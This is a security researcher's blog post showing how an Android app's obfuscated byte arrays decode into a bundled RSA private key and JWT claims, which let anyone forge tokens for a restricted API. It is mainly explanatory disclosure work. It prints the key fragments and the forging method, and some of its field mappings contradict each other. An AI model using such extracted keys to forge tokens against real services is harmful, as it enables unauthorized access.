December 15, 2019

Don't Store Private Keys in Your Android App

Whilst researching a React Native-based Android application for a staff portal, I discovered it was storing an RSA private key and using it as part of its authentication flow, allowing an unauthenticated attacker to use a restricted API. Here’s how I went about discovering this vulnerability.

Retrieve the APK

The APK is the application package (in ZIP format). There’s several websites that make retrieving this easy:

  • Visit the Google Store page of your target application
  • Copy the URL.
  • Paste into https://apkpure.com (or alternative)
  • Download APK

If it’s an enterprise app that’s not on the app store, you’ll have to figure that one out yourself (it shouldn’t be too hard!).

Disassemble/decompile the application

There are also many ways to disassemble/decompile an Android application. I chose a combination of Apktool, dex2jar and JD-GUI:

apktool d -s targetapp.apk

The output will look something like:

I: Using Apktool 2.4.0 on targetapp.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /var/folders/aa/aa/T/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values \*/\* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

Then we need to convert any .dex files mentioned above into .jar files

d2j-dex2jar classes.dex
d2j-dex2jar classes2.dex

Launch JD-GUI and choose one or more of the .jar files created in the previous step.

Research

Researching the Java classes is an entire course in itself and well outside the scope of this post, but in general you’re looking for sections of code that seem interesting. In our case, because the application was a React Native one, there wasn’t too much actual Java code; it was mostly code necessary for React and its plugins to load, so spotting interesting code was quite a bit easier.

How do we know it’s a React Native application? Looking at the class list in JD-GUI is a good first step:

JD-GUI React class

we can see that com.facebook.react exists, and if that wasn’t enough, a quick search of “BV.LinearGradient” reveals it is “A <LinearGradient /> component for react-native”. React Native also bundles the Javascript assets which we will get into a bit later in the article.

One thing that stood out was the following:

class Decoder {

  // snip...

  static {
    AA = new byte[] {
        99, 106, 107, 122, 81, 48, 90, 50, 82, 85, 78, 110, 87, 85, 86, 66, 79, 87, 57, 70,
        78, 85, 100, 74, 99, 72, 103, 51, 84, 49, 70, 109, 90, 50, 90, 72, 85, 71, 82, 67,
        100, 87, 116, 117, 83, 48, 70, 121, 101, 69, 103, 48, 87, 107, 78, 79, 100, 68, 82, 54,
        98, 107, 86, 113, 90, 69, 57, 122, 86, 70, 74, 48, 78, 110, 78, 106, 79, 71, 53, 71,
        86, 71, 86, 119, 78, 81
    };

    AB = new byte[] {
        89, 48, 90, 121, 90, 51, 108, 106, 97, 109, 53, 53, 89, 121, 57, 87, 87, 108, 69, 122,
        84, 107, 49, 113, 87, 87, 70, 122, 100, 85, 104, 81, 83, 71, 74, 82, 83, 122, 90, 86,
        98, 50, 57, 121, 81, 106, 86, 107, 100, 107, 104, 81, 77, 69, 112, 81, 99, 70, 70, 89,
        87, 68, 74, 113, 87, 70, 111, 118, 98, 48, 57, 110, 82, 107, 90, 117, 89, 48, 100, 121,
        89, 109, 49, 88, 76, 119
    };

    AC = new byte[] {
        85, 122, 82, 76, 99, 86, 86, 86, 79, 70, 86, 86, 82, 109, 112, 49, 89, 87, 81, 53,
        77, 72, 66, 73, 100, 106, 82, 82, 84, 122, 100, 89, 77, 72, 86, 73, 85, 122, 108, 105,
        101, 106, 100, 84, 100, 109, 99, 118, 76, 48, 70, 67, 85, 87, 119, 49, 99, 69, 90, 88,
        101, 107, 49, 89, 89, 87, 115, 118, 98, 85, 74, 68, 86, 107, 85, 120, 84, 68, 103, 122,
        83, 88, 100, 66, 85, 103
    };

    AD = new byte[] {
        90, 106, 86, 108, 90, 87, 69, 120, 78, 71, 73, 121, 90, 84, 73, 48, 79, 84, 66, 104,
        77, 68, 85, 50, 79, 84, 66, 108, 90, 68, 69, 50, 79, 84, 107, 50, 89, 87, 78, 105,
        78, 84, 99, 50, 78, 50, 77, 119, 79, 87, 90, 109, 77, 50, 86, 106, 77, 122, 99, 52,
        78, 109, 86, 107, 89, 106, 99, 53, 89, 122, 103, 52, 77, 122, 70, 108, 78, 71, 69, 121,
        90, 71, 82, 106, 77, 81
    };

    AE = new byte[] {
        98, 109, 78, 104, 100, 122, 85, 52, 85, 88, 66, 71, 82, 49, 74, 97, 98, 84, 100, 77,
        81, 86, 90, 73, 97, 84, 90, 85, 99, 49, 103, 51, 78, 107, 49, 54, 89, 110, 65, 122,
        98, 50, 112, 115, 90, 107, 100, 69, 98, 87, 120, 109, 86, 109, 104, 48, 101, 109, 70, 108,
        99, 87, 69, 52, 86, 110, 74, 90, 98, 86, 82, 116, 84, 87, 116, 109, 98, 107, 74, 75,
        89, 122, 107, 49, 82, 81
    };

    AF = new byte[] {
        82, 51, 66, 66, 77, 106, 90, 80, 78, 122, 82, 85, 100, 69, 85, 119, 81, 48, 116, 109,
        77, 106, 66, 50, 101, 70, 86, 113, 84, 110, 108, 86, 87, 70, 82, 97, 100, 109, 100, 51,
        100, 86, 81, 120, 100, 109, 82, 84, 99, 72, 100, 74, 82, 69, 70, 82, 81, 85, 74, 66,
        98, 48, 108, 67, 81, 85, 69, 48, 77, 87, 116, 67, 101, 71, 69, 120, 98, 50, 90, 108,
        77, 88, 104, 78, 90, 81
    };

    BB = new byte[] {
        79, 68, 78, 53, 86, 50, 100, 78, 82, 108, 90, 78, 101, 69, 70, 52, 86, 108, 82, 88,
        75, 121, 57, 87, 99, 122, 70, 115, 101, 84, 108, 122, 97, 85, 81, 52, 76, 48, 116, 48,
        78, 121, 116, 116, 82, 105, 115, 52, 78, 110, 104, 82, 83, 121, 56, 48, 83, 107, 115, 49,
        84, 83, 57, 118, 77, 48, 69, 119, 77, 70, 70, 108, 83, 51, 81, 49, 98, 51, 108, 70,
        77, 84, 74, 105, 83, 81
    };

    BC = new byte[] {
        97, 72, 82, 48, 99, 72, 77, 54, 76, 121, 57, 115, 98, 50, 100, 112, 98, 105, 53, 108,
        101, 71, 70, 116, 99, 71, 120, 108, 76, 109, 78, 118, 98, 81
    };

    BD = new byte[] {
        84, 85, 108, 74, 82, 87, 57, 51, 83, 85, 74, 66, 81, 85, 116, 68, 81, 86, 70, 70,
        81, 84, 100, 86, 82, 49, 73, 49, 90, 109, 116, 69, 90, 48, 49, 90, 77, 87, 86, 49,
        90, 88, 104, 50, 79, 68, 70, 90, 90, 70, 81, 51, 99, 106, 78, 120, 89, 86, 66, 52,
        81, 86, 90, 114, 81, 110, 90, 116, 97, 48, 104, 112, 81, 86, 74, 51, 89, 110, 66, 69,
        89, 51, 112, 86, 85, 103
    };

    BE = new byte[] {
        77, 70, 74, 52, 98, 50, 74, 79, 81, 87, 82, 118, 97, 71, 116, 104, 90, 86, 78, 117,
        99, 70, 86, 107, 76, 49, 108, 81, 89, 107, 116, 49, 90, 107, 111, 122, 75, 122, 108, 85,
        82, 85, 100, 77, 84, 50, 56, 120, 86, 69, 120, 79, 84, 70, 104, 118, 89, 48, 120, 50,
        76, 51, 86, 79, 97, 51, 86, 66, 101, 109, 57, 116, 97, 106, 90, 75, 101, 88, 66, 54,
        98, 87, 70, 114, 78, 103
    };

    BF = new byte[] {
        84, 51, 74, 70, 85, 109, 89, 121, 98, 86, 78, 66, 90, 84, 90, 104, 83, 71, 112, 68,
        78, 71, 53, 79, 77, 110, 100, 107, 99, 69, 104, 49, 98, 72, 89, 114, 84, 107, 120, 111,
        82, 86, 111, 53, 82, 109, 89, 120, 85, 71, 73, 50, 82, 107, 112, 115, 77, 109, 70, 83,
        77, 106, 78, 49, 98, 110, 112, 118, 100, 85, 85, 118, 98, 86, 82, 115, 98, 109, 100, 70,
        86, 110, 103, 52, 98, 119
    };

    CB = new byte[] {
        100, 71, 86, 122, 100, 69, 66, 108, 101, 71, 70, 116, 99, 71, 120, 108, 76, 109, 78, 118,
        98, 81
    };

    CC = new byte[] {
        100, 88, 78, 71, 100, 48, 86, 48, 79, 71, 49, 106, 85, 71, 49, 97, 84, 107, 115, 49,
        97, 107, 90, 114, 89, 107, 116, 122, 84, 84, 100, 117, 81, 84, 78, 81, 85, 50, 82, 107,
        101, 108, 70, 66, 83, 108, 108, 113, 78, 110, 100, 122, 78, 85, 57, 66, 81, 84, 86, 118,
        98, 88, 78, 89, 98, 51, 108, 105, 87, 103
    };

    CD = new byte[] {
        81, 108, 74, 109, 85, 108, 78, 106, 90, 88, 108, 114, 97, 85, 53, 86, 101, 85, 57, 88,
        82, 70, 108, 67, 86, 48, 120, 110, 87, 88, 77, 51, 99, 106, 70, 52, 81, 109, 74, 76,
        83, 87, 120, 68, 82, 68, 100, 68, 84, 85, 48, 52, 81, 50, 100, 90, 81, 110, 90, 75,
        77, 49, 108, 73, 97, 88, 86, 90, 77, 70, 99, 114, 98, 86, 112, 81, 99, 49, 66, 111,
        83, 106, 70, 89, 97, 103
    };

    CE = new byte[] {
        81, 51, 66, 104, 101, 68, 65, 114, 99, 86, 100, 66, 75, 48, 90, 71, 100, 71, 81, 50,
        77, 48, 116, 110, 98, 70, 104, 80, 78, 48, 100, 117, 101, 69, 116, 82, 97, 110, 74, 114,
        90, 71, 104, 88, 86, 72, 70, 110, 85, 68, 86, 106, 81, 87, 74, 119, 84, 69, 82, 48,
        85, 85, 53, 77, 99, 72, 100, 85, 97, 109, 70, 74, 97, 106, 104, 50, 98, 109, 108, 88,
        90, 87, 82, 66, 86, 103
    };

    CF = new byte[] {
        83, 110, 70, 97, 101, 106, 100, 50, 85, 121, 116, 67, 89, 50, 104, 108, 101, 86, 104, 80,
        101, 70, 82, 66, 84, 50, 78, 67, 97, 72, 66, 115, 99, 70, 108, 107, 85, 69, 112, 105,
        100, 49, 112, 72, 81, 108, 74, 110, 99, 85, 53, 73, 89, 122, 100, 121, 97, 48, 112, 68,
        77, 69, 82, 75, 97, 48, 90, 88, 85, 49, 74, 77, 78, 106, 70, 89, 84, 49, 112, 51,
        75, 122, 74, 97, 78, 119
    };

    DB = new byte[] {
        77, 50, 115, 48, 78, 72, 86, 51, 83, 48, 74, 110, 82, 71, 100, 83, 97, 122, 78, 118,
        98, 109, 90, 111, 98, 110, 78, 115, 97, 68, 100, 85, 86, 50, 116, 75, 99, 72, 78, 86,
        79, 86, 108, 72, 99, 50, 53, 52, 81, 87, 85, 122, 77, 122, 66, 106, 78, 87, 82, 116,
        100, 107, 78, 97, 86, 51, 90, 49, 98, 122, 86, 122, 97, 72, 86, 90, 86, 122, 104, 88,
        101, 72, 65, 121, 101, 81
    };

    DC = new byte[] {
        87, 87, 112, 110, 87, 87, 57, 78, 99, 109, 56, 114, 99, 86, 70, 114, 99, 109, 78, 113,
        83, 72, 70, 70, 98, 85, 116, 54, 98, 49, 104, 83, 79, 71, 49, 118, 83, 69, 78, 85,
        86, 88, 104, 115, 99, 106, 82, 89, 85, 50, 89, 120, 79, 85, 48, 53, 99, 48, 74, 84,
        77, 69, 86, 111, 90, 88, 70, 81, 79, 72, 99, 51, 78, 108, 82, 121, 83, 87, 69, 49,
        101, 71, 90, 81, 77, 103
    };

    DD = new byte[] {
        90, 50, 57, 81, 81, 84, 69, 122, 78, 68, 107, 52, 100, 69, 104, 74, 100, 69, 57, 115,
        99, 88, 70, 53, 84, 110, 90, 50, 97, 109, 78, 70, 86, 51, 103, 118, 90, 122, 82, 50,
        99, 109, 57, 54, 77, 70, 85, 121, 75, 49, 111, 120, 84, 85, 100, 111, 100, 122, 73, 120,
        76, 122, 81, 121, 99, 50, 116, 49, 86, 109, 48, 50, 90, 72, 99, 50, 90, 72, 90, 77,
        75, 122, 70, 48, 82, 81
    };

    DE = new byte[] {
        81, 48, 85, 52, 86, 108, 82, 89, 82, 70, 78, 53, 101, 106, 100, 120, 82, 48, 73, 53,
        83, 121, 56, 114, 84, 109, 104, 110, 85, 85, 116, 67, 90, 49, 70, 68, 101, 109, 49, 109,
        97, 108, 104, 87, 82, 71, 78, 70, 90, 110, 108, 68, 84, 106, 69, 50, 85, 85, 111, 118,
        81, 51, 103, 120, 97, 107, 86, 68, 89, 106, 82, 106, 84, 108, 78, 80, 83, 71, 48, 122,
        98, 49, 100, 117, 85, 119
    };

    DF = new byte[] {
        77, 71, 70, 85, 101, 106, 78, 78, 81, 109, 104, 121, 97, 108, 74, 48, 81, 122, 103, 122,
        86, 88, 66, 115, 99, 108, 100, 118, 85, 88, 108, 69, 81, 122, 65, 49, 99, 69, 120, 81,
        99, 122, 90, 71, 78, 87, 78, 104, 98, 87, 82, 86, 101, 107, 49, 86, 101, 108, 90, 122,
        78, 85, 57, 83, 89, 49, 86, 104, 78, 84, 69, 118, 81, 87, 90, 50, 97, 108, 74, 110,
        97, 87, 49, 73, 87, 65
    };

    EB = new byte[] {
        85, 107, 104, 82, 78, 85, 57, 84, 81, 109, 86, 113, 75, 48, 53, 112, 99, 50, 57, 70,
        85, 109, 74, 122, 77, 71, 77, 52, 100, 84, 86, 116, 77, 88, 82, 81, 78, 107, 120, 106,
        99, 107, 120, 83, 77, 49, 82, 76, 77, 85, 86, 53, 77, 87, 70, 120, 77, 69, 86, 90,
        99, 51, 86, 68, 79, 87, 74, 76, 100, 107, 82, 117, 78, 50, 53, 122, 86, 109, 77, 121,
        84, 69, 53, 54, 75, 119
    };

    EC = new byte[] {
        90, 85, 49, 82, 83, 50, 69, 48, 100, 88, 112, 79, 77, 110, 70, 85, 97, 107, 86, 52,
        81, 109, 108, 85, 75, 122, 100, 117, 78, 49, 66, 84, 98, 69, 81, 120, 81, 84, 78, 85,
        81, 108, 74, 85, 99, 85, 99, 121, 77, 49, 78, 48, 98, 49, 86, 84, 101, 88, 70, 111,
        97, 86, 100, 49, 81, 87, 112, 111, 86, 109, 86, 69, 81, 48, 90, 90, 84, 87, 73, 122,
        90, 84, 74, 83, 78, 119
    };

    ED = new byte[] {
        90, 50, 119, 48, 82, 109, 57, 104, 75, 51, 90, 118, 83, 51, 70, 122, 78, 122, 70, 86,
        79, 69, 100, 97, 89, 51, 66, 121, 83, 69, 100, 113, 90, 85, 57, 122, 78, 72, 81, 52,
        86, 71, 49, 69, 77, 122, 70, 121, 77, 86, 90, 109, 85, 106, 108, 71, 86, 85, 111, 53,
        77, 88, 66, 54, 81, 85, 100, 71, 98, 107, 53, 85, 82, 106, 70, 88, 99, 106, 104, 75,
        101, 84, 82, 48, 83, 81
    };

    EE = new byte[] {
        85, 109, 116, 105, 100, 85, 86, 70, 78, 70, 108, 120, 75, 51, 70, 77, 86, 85, 52, 53,
        79, 85, 116, 111, 87, 85, 115, 49, 99, 48, 73, 53, 82, 85, 53, 89, 99, 69, 120, 71,
        75, 51, 104, 104, 83, 50, 116, 78, 79, 69, 74, 79, 84, 109, 82, 53, 75, 122, 100, 109,
        85, 50, 116, 108, 78, 108, 112, 86, 97, 68, 100, 118, 81, 86, 108, 48, 85, 69, 104, 110,
        81, 108, 108, 70, 86, 65
    };

    EF = new byte[] {
        86, 72, 112, 117, 101, 87, 90, 88, 99, 107, 70, 78, 100, 108, 108, 119, 100, 86, 112, 67,
        75, 122, 70, 112, 90, 107, 108, 53, 89, 109, 103, 48, 83, 49, 82, 110, 86, 48, 74, 77,
        87, 87, 100, 119, 98, 48, 120, 110, 87, 88, 112, 70, 77, 107, 90, 106, 76, 122, 70, 67,
        99, 107, 90, 87, 101, 71, 100, 107, 97, 69, 116, 68, 100, 48, 108, 81, 89, 107, 57, 121,
        76, 121, 57, 73, 90, 119
    };

    FB = new byte[] {
        78, 71, 70, 49, 87, 106, 78, 115, 85, 71, 70, 104, 89, 88, 100, 67, 100, 86, 90, 69,
        97, 88, 112, 71, 90, 107, 57, 108, 90, 108, 100, 79, 89, 49, 74, 89, 100, 108, 99, 120,
        85, 87, 53, 72, 85, 51, 112, 84, 87, 86, 65, 122, 78, 86, 100, 87, 77, 88, 85, 51,
        89, 49, 66, 48, 90, 69, 86, 109, 99, 110, 104, 120, 97, 48, 78, 110, 87, 85, 86, 66,
        79, 87, 49, 86, 98, 65
    };

    FC = new byte[] {
        82, 48, 69, 120, 99, 109, 74, 115, 98, 107, 103, 119, 87, 87, 120, 48, 77, 71, 116, 51,
        99, 109, 86, 82, 82, 83, 57, 76, 90, 71, 74, 84, 90, 48, 90, 78, 83, 107, 104, 52,
        85, 87, 99, 118, 98, 69, 49, 90, 97, 70, 103, 120, 83, 70, 74, 68, 101, 71, 90, 81,
        77, 108, 70, 111, 84, 85, 100, 85, 78, 84, 90, 71, 81, 88, 66, 48, 78, 108, 107, 50,
        90, 48, 108, 106, 77, 65
    };
  }
}

At first glance, it seems to be ASCII-encoded data based on the numerical values, so using a simple script to convert the integers into ASCII, we end up with:

AA: cjkzQ0Z2RUNnWUVBOW9FNUdJcHg3T1FmZ2ZHUGRCdWtuS0FyeEg0WkNOdDR6bkVqZE9zVFJ0NnNjOG5GVGVwNQ
AB: Y0ZyZ3ljam55Yy9WWlEzTk1qWWFzdUhQSGJRSzZVb29yQjVkdkhQMEpQcFFYWDJqWFovb09nRkZuY0dyYm1XLw
AC: UzRLcVVVOFVVRmp1YWQ5MHBIdjRRTzdYMHVIUzliejdTdmcvL0FCUWw1cEZXek1YYWsvbUJDVkUxTDgzSXdBUg
AD: ZjVlZWExNGIyZTI0OTBhMDU2OTBlZDE2OTk2YWNiNTc2N2MwOWZmM2VjMzc4NmVkYjc5Yzg4MzFlNGEyZGRjMQ
AE: bmNhdzU4UXBGR1JabTdMQVZIaTZUc1g3Nk16YnAzb2psZkdEbWxmVmh0emFlcWE4VnJZbVRtTWtmbkJKYzk1RQ
AF: R3BBMjZPNzRUdEUwQ0tmMjB2eFVqTnlVWFRadmd3dVQxdmRTcHdJREFRQUJBb0lCQUE0MWtCeGExb2ZlMXhNZQ
BB: ODN5V2dNRlZNeEF4VlRXKy9WczFseTlzaUQ4L0t0NyttRis4NnhRSy80Sks1TS9vM0EwMFFlS3Q1b3lFMTJiSQ
BC: aHR0cHM6Ly9sb2dpbi5leGFtcGxlLmNvbQ
BD: TUlJRW93SUJBQUtDQVFFQTdVR1I1ZmtEZ01ZMWV1ZXh2ODFZZFQ3cjNxYVB4QVZrQnZta0hpQVJ3YnBEY3pVUg
BE: MFJ4b2JOQWRvaGthZVNucFVkL1lQYkt1ZkozKzlURUdMT28xVExOTFhvY0x2L3VOa3VBem9tajZKeXB6bWFrNg
BF: T3JFUmYybVNBZTZhSGpDNG5OMndkcEh1bHYrTkxoRVo5RmYxUGI2RkpsMmFSMjN1bnpvdUUvbVRsbmdFVng4bw
CB: dGVzdEBleGFtcGxlLmNvbQ
CC: dXNGd0V0OG1jUG1aTks1akZrYktzTTduQTNQU2RkelFBSllqNndzNU9BQTVvbXNYb3liWg
CD: QlJmUlNjZXlraU5VeU9XRFlCV0xnWXM3cjF4QmJLSWxDRDdDTU04Q2dZQnZKM1lIaXVZMFcrbVpQc1BoSjFYag
CE: Q3BheDArcVdBK0ZGdGQ2M0tnbFhPN0dueEtRanJrZGhXVHFnUDVjQWJwTER0UU5McHdUamFJajh2bmlXZWRBVg
CF: SnFaejd2UytCY2hleVhPeFRBT2NCaHBscFlkUEpid1pHQlJncU5IYzdya0pDMERKa0ZXU1JMNjFYT1p3KzJaNw
DB: M2s0NHV3S0JnRGdSazNvbmZobnNsaDdUV2tKcHNVOVlHc254QWUzMzBjNWRtdkNaV3Z1bzVzaHVZVzhXeHAyeQ
DC: WWpnWW9Ncm8rcVFrcmNqSHFFbUt6b1hSOG1vSENUVXhscjRYU2YxOU05c0JTMEVoZXFQOHc3NlRySWE1eGZQMg
DD: Z29QQTEzNDk4dEhJdE9scXF5TnZ2amNFV3gvZzR2cm96MFUyK1oxTUdodzIxLzQyc2t1Vm02ZHc2ZHZMKzF0RQ
DE: Q0U4VlRYRFN5ejdxR0I5Sy8rTmhnUUtCZ1FDem1malhWRGNFZnlDTjE2UUovQ3gxakVDYjRjTlNPSG0zb1duUw
DF: MGFUejNNQmhyalJ0QzgzVXBscldvUXlEQzA1cExQczZGNWNhbWRVek1VelZzNU9SY1VhNTEvQWZ2alJnaW1IWA
EB: UkhRNU9TQmVqK05pc29FUmJzMGM4dTVtMXRQNkxjckxSM1RLMUV5MWFxMEVZc3VDOWJLdkRuN25zVmMyTE56Kw
EC: ZU1RS2E0dXpOMnFUakV4QmlUKzduN1BTbEQxQTNUQlJUcUcyM1N0b1VTeXFoaVd1QWpoVmVEQ0ZZTWIzZTJSNw
ED: Z2w0Rm9hK3ZvS3FzNzFVOEdaY3BySEdqZU9zNHQ4VG1EMzFyMVZmUjlGVUo5MXB6QUdGbk5URjFXcjhKeTR0SQ
EE: UmtidUVFNFlxK3FMVU45OUtoWUs1c0I5RU5YcExGK3hhS2tNOEJOTmR5KzdmU2tlNlpVaDdvQVl0UEhnQllFVA
EF: VHpueWZXckFNdllwdVpCKzFpZkl5Ymg0S1RnV0JMWWdwb0xnWXpFMkZjLzFCckZWeGdkaEtDd0lQYk9yLy9IZw
FB: NGF1WjNsUGFhYXdCdVZEaXpGZk9lZldOY1JYdlcxUW5HU3pTWVAzNVdWMXU3Y1B0ZEVmcnhxa0NnWUVBOW1VbA
FC: R0ExcmJsbkgwWWx0MGt3cmVRRS9LZGJTZ0ZNSkh4UWcvbE1ZaFgxSFJDeGZQMlFoTUdUNTZGQXB0Nlk2Z0ljMA

This looks supiciously base64 encoded. Let’s decode:

AA: r93CFvECgYEA9oE5GIpx7OQfgfGPdBuknKArxH4ZCNt4znEjdOsTRt6sc8nFTep5
AB: cFrgycjnyc/VZQ3NMjYasuHPHbQK6UoorB5dvHP0JPpQXX2jXZ/oOgFFncGrbmW/
AC: S4KqUU8UUFjuad90pHv4QO7X0uHS9bz7Svg//ABQl5pFWzMXak/mBCVE1L83IwAR
AD: f5eea14b2e2490a05690ed16996acb5767c09ff3ec3786edb79c8831e4a2ddc1
AE: ncaw58QpFGRZm7LAVHi6TsX76Mzbp3ojlfGDmlfVhtzaeqa8VrYmTmMkfnBJc95E
AF: GpA26O74TtE0CKf20vxUjNyUXTZvgwuT1vdSpwIDAQABAoIBAA41kBxa1ofe1xMe
BB: 83yWgMFVMxAxVTW+/Vs1ly9siD8/Kt7+mF+86xQK/4JK5M/o3A00QeKt5oyE12bI
BC: https://login.example.com
BD: MIIEowIBAAKCAQEA7UGR5fkDgMY1euexv81YdT7r3qaPxAVkBvmkHiARwbpDczUR
BE: 0RxobNAdohkaeSnpUd/YPbKufJ3+9TEGLOo1TLNLXocLv/uNkuAzomj6Jypzmak6
BF: OrERf2mSAe6aHjC4nN2wdpHulv+NLhEZ9Ff1Pb6FJl2aR23unzouE/mTlngEVx8o
CB: [email protected]
CC: usFwEt8mcPmZNK5jFkbKsM7nA3PSddzQAJYj6ws5OAA5omsXoybZ
CD: BRfRSceykiNUyOWDYBWLgYs7r1xBbKIlCD7CMM8CgYBvJ3YHiuY0W+mZPsPhJ1Xj
CE: Cpax0+qWA+FFtd63KglXO7GnxKQjrkdhWTqgP5cAbpLDtQNLpwTjaIj8vniWedAV
CF: JqZz7vS+BcheyXOxTAOcBhplpYdPJbwZGBRgqNHc7rkJC0DJkFWSRL61XOZw+2Z7
DB: 3k44uwKBgDgRk3onfhnslh7TWkJpsU9YGsnxAe330c5dmvCZWvuo5shuYW8Wxp2y
DC: YjgYoMro+qQkrcjHqEmKzoXR8moHCTUxlr4XSf19M9sBS0EheqP8w76TrIa5xfP2
DD: goPA13498tHItOlqqyNvvjcEWx/g4vroz0U2+Z1MGhw21/42skuVm6dw6dvL+1tE
DE: CE8VTXDSyz7qGB9K/+NhgQKBgQCzmfjXVDcEfyCN16QJ/Cx1jECb4cNSOHm3oWnS
DF: 0aTz3MBhrjRtC83UplrWoQyDC05pLPs6F5camdUzMUzVs5ORcUa51/AfvjRgimHX
EB: RHQ5OSBej+NisoERbs0c8u5m1tP6LcrLR3TK1Ey1aq0EYsuC9bKvDn7nsVc2LNz+
EC: eMQKa4uzN2qTjExBiT+7n7PSlD1A3TBRTqG23StoUSyqhiWuAjhVeDCFYMb3e2R7
ED: gl4Foa+voKqs71U8GZcprHGjeOs4t8TmD31r1VfR9FUJ91pzAGFnNTF1Wr8Jy4tI
EE: RkbuEE4Yq+qLUN99KhYK5sB9ENXpLF+xaKkM8BNNdy+7fSke6ZUh7oAYtPHgBYET
EF: TznyfWrAMvYpuZB+1ifIybh4KTgWBLYgpoLgYzE2Fc/1BrFVxgdhKCwIPbOr//Hg
FB: 4auZ3lPaaawBuVDizFfOefWNcRXvW1QnGSzSYP35WV1u7cPtdEfrxqkCgYEA9mUl
FC: GA1rblnH0Ylt0kwreQE/KdbSgFMJHxQg/lMYhX1HRCxfP2QhMGT56FApt6Y6gIc0

That’s better, and some very interesting data in there already! There is some normal text (emails/URLs) interspersed with what looks like another layer of base64 encoding. Are these properties used anywhere throughout the code?

@ReactMethod
public void generateToken(Callback callback) {
    StringBuilder builder;

    MacProvider.generateKey();

    try {
        byte[] arrayOfByte = Base64.decode(this.pk, 0);
        builder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new StringReader(new String(arrayOfByte)));

        while (true) {
            String str = bufferedReader.readLine();

            if (str == null) {
                break;
            }

            builder.append(str);
        } 
    } catch (Exception callback) {
        callback.printStackTrace();
        return;
    } 

    PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(Base64.decode(builder.toString().replaceAll("\\s+", ""), 0));

    PrivateKey privKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec);

    callback.invoke(new Object[] {
        Jwts.builder()
        .setIssuer(Decoder.decode(Decoder.AD))
        .setSubject(Decoder.decode(Decoder.CB))
        .setAudience(Decoder.decode(Decoder.BC))
        .setExpiration(new Date(System.currentTimeMillis() + 50000000L))
        .signWith(SignatureAlgorithm.RS256, privKey).compact()
    });
  }

This code is generating and signing a JSON Web Token (JWT) using values from our Decoder class. We can see that:

  • Issuer: Decoder.CC, or f5eea14b2e2490a05690ed16996acb5767c09ff3ec3786edb79c8831e4a2ddc1
  • Subject: Decoder.EE, or [email protected]
  • Audience: Decoder.BC, or https://login.example.com

Extracting the private key

All that’s missing is the private key. In the above code, you can see it originates from this.pk which is base64 decoded and passed into the PKCS8EncodedKeySpec class. this.pk is defined as:

this.pk = Decoder.decode(Decoder.BD) + Decoder.decode(Decoder.DC) + Decoder.decode(Decoder.EC) + Decoder.decode(Decoder.AC) + Decoder.decode(Decoder.DD) + Decoder.decode(Decoder.AF) + Decoder.decode(Decoder.EF) + Decoder.decode(Decoder.BF) + Decoder.decode(Decoder.CF) + Decoder.decode(Decoder.AE) + Decoder.decode(Decoder.FC) + Decoder.decode(Decoder.AA) + Decoder.decode(Decoder.EE) + Decoder.decode(Decoder.FB) + Decoder.decode(Decoder.AB) + Decoder.decode(Decoder.BE) + Decoder.decode(Decoder.CD) + Decoder.decode(Decoder.CE) + Decoder.decode(Decoder.DF) + Decoder.decode(Decoder.DE) + Decoder.decode(Decoder.EB) + Decoder.decode(Decoder.ED) + Decoder.decode(Decoder.DB) + Decoder.decode(Decoder.BB)

We now have a way to descramble the other Decoder properties, concatenate:

BD,DC,EC,AC,DD,AF,EF,BF,CF,AE,FC,AA,EE,FB,AB,BE,CD,CE,DF,DE,EB,ED,DB,BB,CC

together, which becomes:

TUlJRW93SUJBQUtDQVFFQTdVR1I1ZmtEZ01ZMWV1ZXh2ODFZZFQ3cjNxYVB4QVZrQnZta0hpQVJ3YnBEY3pVUg
WWpnWW9Ncm8rcVFrcmNqSHFFbUt6b1hSOG1vSENUVXhscjRYU2YxOU05c0JTMEVoZXFQOHc3NlRySWE1eGZQMg
ZU1RS2E0dXpOMnFUakV4QmlUKzduN1BTbEQxQTNUQlJUcUcyM1N0b1VTeXFoaVd1QWpoVmVEQ0ZZTWIzZTJSNw
UzRLcVVVOFVVRmp1YWQ5MHBIdjRRTzdYMHVIUzliejdTdmcvL0FCUWw1cEZXek1YYWsvbUJDVkUxTDgzSXdBUg
Z29QQTEzNDk4dEhJdE9scXF5TnZ2amNFV3gvZzR2cm96MFUyK1oxTUdodzIxLzQyc2t1Vm02ZHc2ZHZMKzF0RQ
R3BBMjZPNzRUdEUwQ0tmMjB2eFVqTnlVWFRadmd3dVQxdmRTcHdJREFRQUJBb0lCQUE0MWtCeGExb2ZlMXhNZQ
VHpueWZXckFNdllwdVpCKzFpZkl5Ymg0S1RnV0JMWWdwb0xnWXpFMkZjLzFCckZWeGdkaEtDd0lQYk9yLy9IZw
T3JFUmYybVNBZTZhSGpDNG5OMndkcEh1bHYrTkxoRVo5RmYxUGI2RkpsMmFSMjN1bnpvdUUvbVRsbmdFVng4bw
SnFaejd2UytCY2hleVhPeFRBT2NCaHBscFlkUEpid1pHQlJncU5IYzdya0pDMERKa0ZXU1JMNjFYT1p3KzJaNw
bmNhdzU4UXBGR1JabTdMQVZIaTZUc1g3Nk16YnAzb2psZkdEbWxmVmh0emFlcWE4VnJZbVRtTWtmbkJKYzk1RQ
R0ExcmJsbkgwWWx0MGt3cmVRRS9LZGJTZ0ZNSkh4UWcvbE1ZaFgxSFJDeGZQMlFoTUdUNTZGQXB0Nlk2Z0ljMA
cjkzQ0Z2RUNnWUVBOW9FNUdJcHg3T1FmZ2ZHUGRCdWtuS0FyeEg0WkNOdDR6bkVqZE9zVFJ0NnNjOG5GVGVwNQ
UmtidUVFNFlxK3FMVU45OUtoWUs1c0I5RU5YcExGK3hhS2tNOEJOTmR5KzdmU2tlNlpVaDdvQVl0UEhnQllFVA
NGF1WjNsUGFhYXdCdVZEaXpGZk9lZldOY1JYdlcxUW5HU3pTWVAzNVdWMXU3Y1B0ZEVmcnhxa0NnWUVBOW1VbA
Y0ZyZ3ljam55Yy9WWlEzTk1qWWFzdUhQSGJRSzZVb29yQjVkdkhQMEpQcFFYWDJqWFovb09nRkZuY0dyYm1XLw
MFJ4b2JOQWRvaGthZVNucFVkL1lQYkt1ZkozKzlURUdMT28xVExOTFhvY0x2L3VOa3VBem9tajZKeXB6bWFrNg
